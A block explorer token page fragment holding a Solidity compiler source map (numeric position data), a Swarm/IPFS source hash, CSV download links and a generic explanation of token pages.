;;-1:-1:-1;;;;;;2132:19:0::1;::::0;;2011:148::o;3754:104::-;3810:13;3843:7;3836:14;;;;;:::i;5074:175::-;5160:4;5177:42;140:10;5201:9;5212:6;5177:9;:42::i;4234:115::-;1924:6;;4285:4;;-1:-1:-1;;;;;1924:6:0;140:10;1924:22;1916:67;;;;-1:-1:-1;;;1916:67:0;;;;;;;:::i;:::-;-1:-1:-1;4302:10:0::1;:17:::0;;-1:-1:-1;;4302:17:0::1;4315:4;4302:17:::0;;::::1;::::0;;;4234:115;:::o;8146:346::-;-1:-1:-1;;;;;8248:19:0;;8240:68;;;;-1:-1:-1;;;8240:68:0;;4672:2:1;8240:68:0;;;4654:21:1;4711:2;4691:18;;;4684:30;4750:34;4730:18;;;4723:62;-1:-1:-1;;;4801:18:1;;;4794:34;4845:19;;8240:68:0;4470:400:1;8240:68:0;-1:-1:-1;;;;;8327:21:0;;8319:68;;;;-1:-1:-1;;;8319:68:0;;5077:2:1;8319:68:0;;;5059:21:1;5116:2;5096:18;;;5089:30;5155:34;5135:18;;;5128:62;-1:-1:-1;;;5206:18:1;;;5199:32;5248:19;;8319:68:0;4875:398:1;8319:68:0;-1:-1:-1;;;;;8400:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8452:32;;2017:25:1;;;8452:32:0;;1990:18:1;8452:32:0;;;;;;;8146:346;;;:::o;7355:606::-;-1:-1:-1;;;;;7461:20:0;;7453:70;;;;-1:-1:-1;;;7453:70:0;;5480:2:1;7453:70:0;;;5462:21:1;5519:2;5499:18;;;5492:30;5558:34;5538:18;;;5531:62;-1:-1:-1;;;5609:18:1;;;5602:35;5654:19;;7453:70:0;5278:401:1;7453:70:0;-1:-1:-1;;;;;7542:23:0;;7534:71;;;;-1:-1:-1;;;7534:71:0;;5886:2:1;7534:71:0;;;5868:21:1;5925:2;5905:18;;;5898:30;5964:34;5944:18;;;5937:62;-1:-1:-1;;;6015:18:1;;;6008:33;6058:19;;7534:71:0;5684:399:1;7534:71:0;7618:39;7639:6;7647:9;7618:20;:39::i;:::-;-1:-1:-1;;;;;7694:17:0;;7670:21;7694:17;;;:9;:17;;;;;;7730:23;;;;7722:74;;;;-1:-1:-1;;;7722:74:0;;6290:2:1;7722:74:0;;;6272:21:1;6329:2;6309:18;;;6302:30;6368:34;6348:18;;;6341:62;-1:-1:-1;;;6419:18:1;;;6412:36;6465:19;;7722:74:0;6088:402:1;7722:74:0;7837:22;7853:6;7837:13;:22;:::i;:::-;-1:-1:-1;;;;;7817:17:0;;;;;;;:9;:17;;;;;;:42;;;;7870:20;;;;;;;;:30;;7894:6;;7817:17;7870:30;;7894:6;;7870:30;:::i;:::-;;;;;;;;7935:9;-1:-1:-1;;;;;7918:35:0;7927:6;-1:-1:-1;;;;;7918:35:0;;7946:6;7918:35;;;;2017:25:1;;2005:2;1990:18;;1871:177;7918:35:0;;;;;;;;7442:519;7355:606;;;:::o;5373:1974::-;5467:10;;;;;:41;;;5492:12;5505:1;5492:15;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;5482:25:0;;;5492:15;;5482:25;5467:41;5458:90;;;;-1:-1:-1;;;5458:90:0;;6959:2:1;5458:90:0;;;6941:21:1;6998:2;6978:18;;;6971:30;7037:34;7017:18;;;7010:62;-1:-1:-1;;;7088:18:1;;;7081:32;7130:19;;5458:90:0;6757:398:1;5458:90:0;6039:3;6033:10;6018:3;5749:1;5742:12;-1:-1:-1;;;;;;;;;;;5997:26:0;-1:-1:-1;;;;;;;;;;;5956:26:0;5946:37;;5984:40;;;5942:83;6026:18;;5938:107;5935:144;;;6072:3;6066:10;6048:29;;5935:144;6096:3;6086:9;6083:17;6080:41;;6115:3;6110:4;6103:16;6080:41;6151:5;6141:9;6138:19;6135:191;;6185:1;6160:164;6211:5;6205:12;6192:11;6189:29;6160:164;;;5774:16;5770:23;;6276:36;5749:1;5625:12;;;6313:3;5645:2;5638:13;5681:2;5668:16;;6318:3;;6260:62;6253:1;6236:19;6160:164;;;6164:24;6135:191;-1:-1:-1;;;;;;;;;;;6470:26:0;-1:-1:-1;;;;;;;;;;;6424:26:0;5749:1;5625:12;;;6399:3;5645:2;5638:13;5681:2;5668:16;;6377:27;6363:4;6357:11;6405:3;6354:19;;;6374:35;;6351:59;6411:40;;;6347:105;6460:37;;;6453:45;6343:156;6340:173;;;6502:9;6340:173;6546:8;6539:5;6533:12;6530:25;6527:272;;6692:3;5749:1;5742:12;-1:-1:-1;;;;;;;;;;;6675:26:0;6650:5;6644:12;-1:-1:-1;;;;;;;;;;;6608:26:0;6578:5;6572:12;6585:8;6569:25;6595:40;;;6565:71;6672:37;;;6665:45;6641:23;;;6637:74;6561:151;6558:168;;;6715:9;6558:168;6763:5;6757:12;6751:5;6744:26;6790:5;6784:12;6778:5;6771:26;6527:272;6960:3;5749:1;5742:12;-1:-1:-1;;;;;;;;;;;6939:26:0;-1:-1:-1;;;;;;;;;;;6890:26:0;6926:40;;;6919:48;6877:40;;;6870:48;6866:102;6827:37;;;6820:45;6816:153;6813:196;;;5632:1;5625:12;;;6998:3;5645:2;5638:13;5681:2;5668:16;;7003:3;;6972:35;6813:196;7159:3;5749:1;5742:12;-1:-1:-1;;;;;;;;;;;7142:26:0;-1:-1:-1;;;;;;;;;;;7044:26:0;7034:37;;7129:40;;;7122:48;7030:91;7023:180;;;7185:5;5843:1;5836:12;;;5877:8;;5860:16;5856:30;5849:40;;;5903:8;;5912:3;5899:17;5890:27;;7174;7243:8;7236:5;7230:12;7227:25;7217:64;;7269:9;7263:5;7256:23;7217:64;7295:8;7289:5;7282:22;7312:5;7305:23;-1:-1:-1;5373:1974:0:o;14:156:1:-;80:20;;140:4;129:16;;119:27;;109:55;;160:1;157;150:12;109:55;14:156;;;:::o;175:320::-;248:6;256;264;317:2;305:9;296:7;292:23;288:32;285:52;;;333:1;330;323:12;285:52;369:9;356:23;346:33;;398:36;430:2;419:9;415:18;398:36;:::i;:::-;388:46;;453:36;485:2;474:9;470:18;453:36;:::i;:::-;443:46;;175:320;;;;;:::o;689:548::-;801:4;830:2;859;848:9;841:21;891:6;885:13;934:6;929:2;918:9;914:18;907:34;959:1;969:140;983:6;980:1;977:13;969:140;;;1078:14;;;1074:23;;1068:30;1044:17;;;1063:2;1040:26;1033:66;998:10;;969:140;;;973:3;1158:1;1153:2;1144:6;1133:9;1129:22;1125:31;1118:42;1228:2;1221;1217:7;1212:2;1204:6;1200:15;1196:29;1185:9;1181:45;1177:54;1169:62;;;;689:548;;;;:::o;1242:173::-;1310:20;;-1:-1:-1;;;;;1359:31:1;;1349:42;;1339:70;;1405:1;1402;1395:12;1420:254;1488:6;1496;1549:2;1537:9;1528:7;1524:23;1520:32;1517:52;;;1565:1;1562;1555:12;1517:52;1588:29;1607:9;1588:29;:::i;:::-;1578:39;1664:2;1649:18;;;;1636:32;;-1:-1:-1;;;1420:254:1:o;2053:328::-;2130:6;2138;2146;2199:2;2187:9;2178:7;2174:23;2170:32;2167:52;;;2215:1;2212;2205:12;2167:52;2238:29;2257:9;2238:29;:::i;:::-;2228:39;;2286:38;2320:2;2309:9;2305:18;2286:38;:::i;:::-;2276:48;;2371:2;2360:9;2356:18;2343:32;2333:42;;2053:328;;;;;:::o;2386:186::-;2445:6;2498:2;2486:9;2477:7;2473:23;2469:32;2466:52;;;2514:1;2511;2504:12;2466:52;2537:29;2556:9;2537:29;:::i;:::-;2527:39;2386:186;-1:-1:-1;;;2386:186:1:o;2785:260::-;2853:6;2861;2914:2;2902:9;2893:7;2889:23;2885:32;2882:52;;;2930:1;2927;2920:12;2882:52;2953:29;2972:9;2953:29;:::i;:::-;2943:39;;3001:38;3035:2;3024:9;3020:18;3001:38;:::i;:::-;2991:48;;2785:260;;;;;:::o;3050:356::-;3252:2;3234:21;;;3271:18;;;3264:30;3330:34;3325:2;3310:18;;3303:62;3397:2;3382:18;;3050:356::o;3411:380::-;3490:1;3486:12;;;;3533;;;3554:61;;3608:4;3600:6;3596:17;3586:27;;3554:61;3661:2;3653:6;3650:14;3630:18;3627:38;3624:161;;3707:10;3702:3;3698:20;3695:1;3688:31;3742:4;3739:1;3732:15;3770:4;3767:1;3760:15;3624:161;;3411:380;;;:::o;4205:127::-;4266:10;4261:3;4257:20;4254:1;4247:31;4297:4;4294:1;4287:15;4321:4;4318:1;4311:15;4337:128;4404:9;;;4425:11;;;4422:37;;;4439:18;;:::i;6495:125::-;6560:9;;;6581:10;;;6578:36;;;6594:18;;:::i;6625:127::-;6686:10;6681:3;6677:20;6674:1;6667:31;6717:4;6714:1;6707:15;6741:4;6738:1;6731:15

Swarm Source

ipfs://1608ebd4bbe140f794972bfba457bf5a01351284f4e2aa4f7b64d1de0b29bcac
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.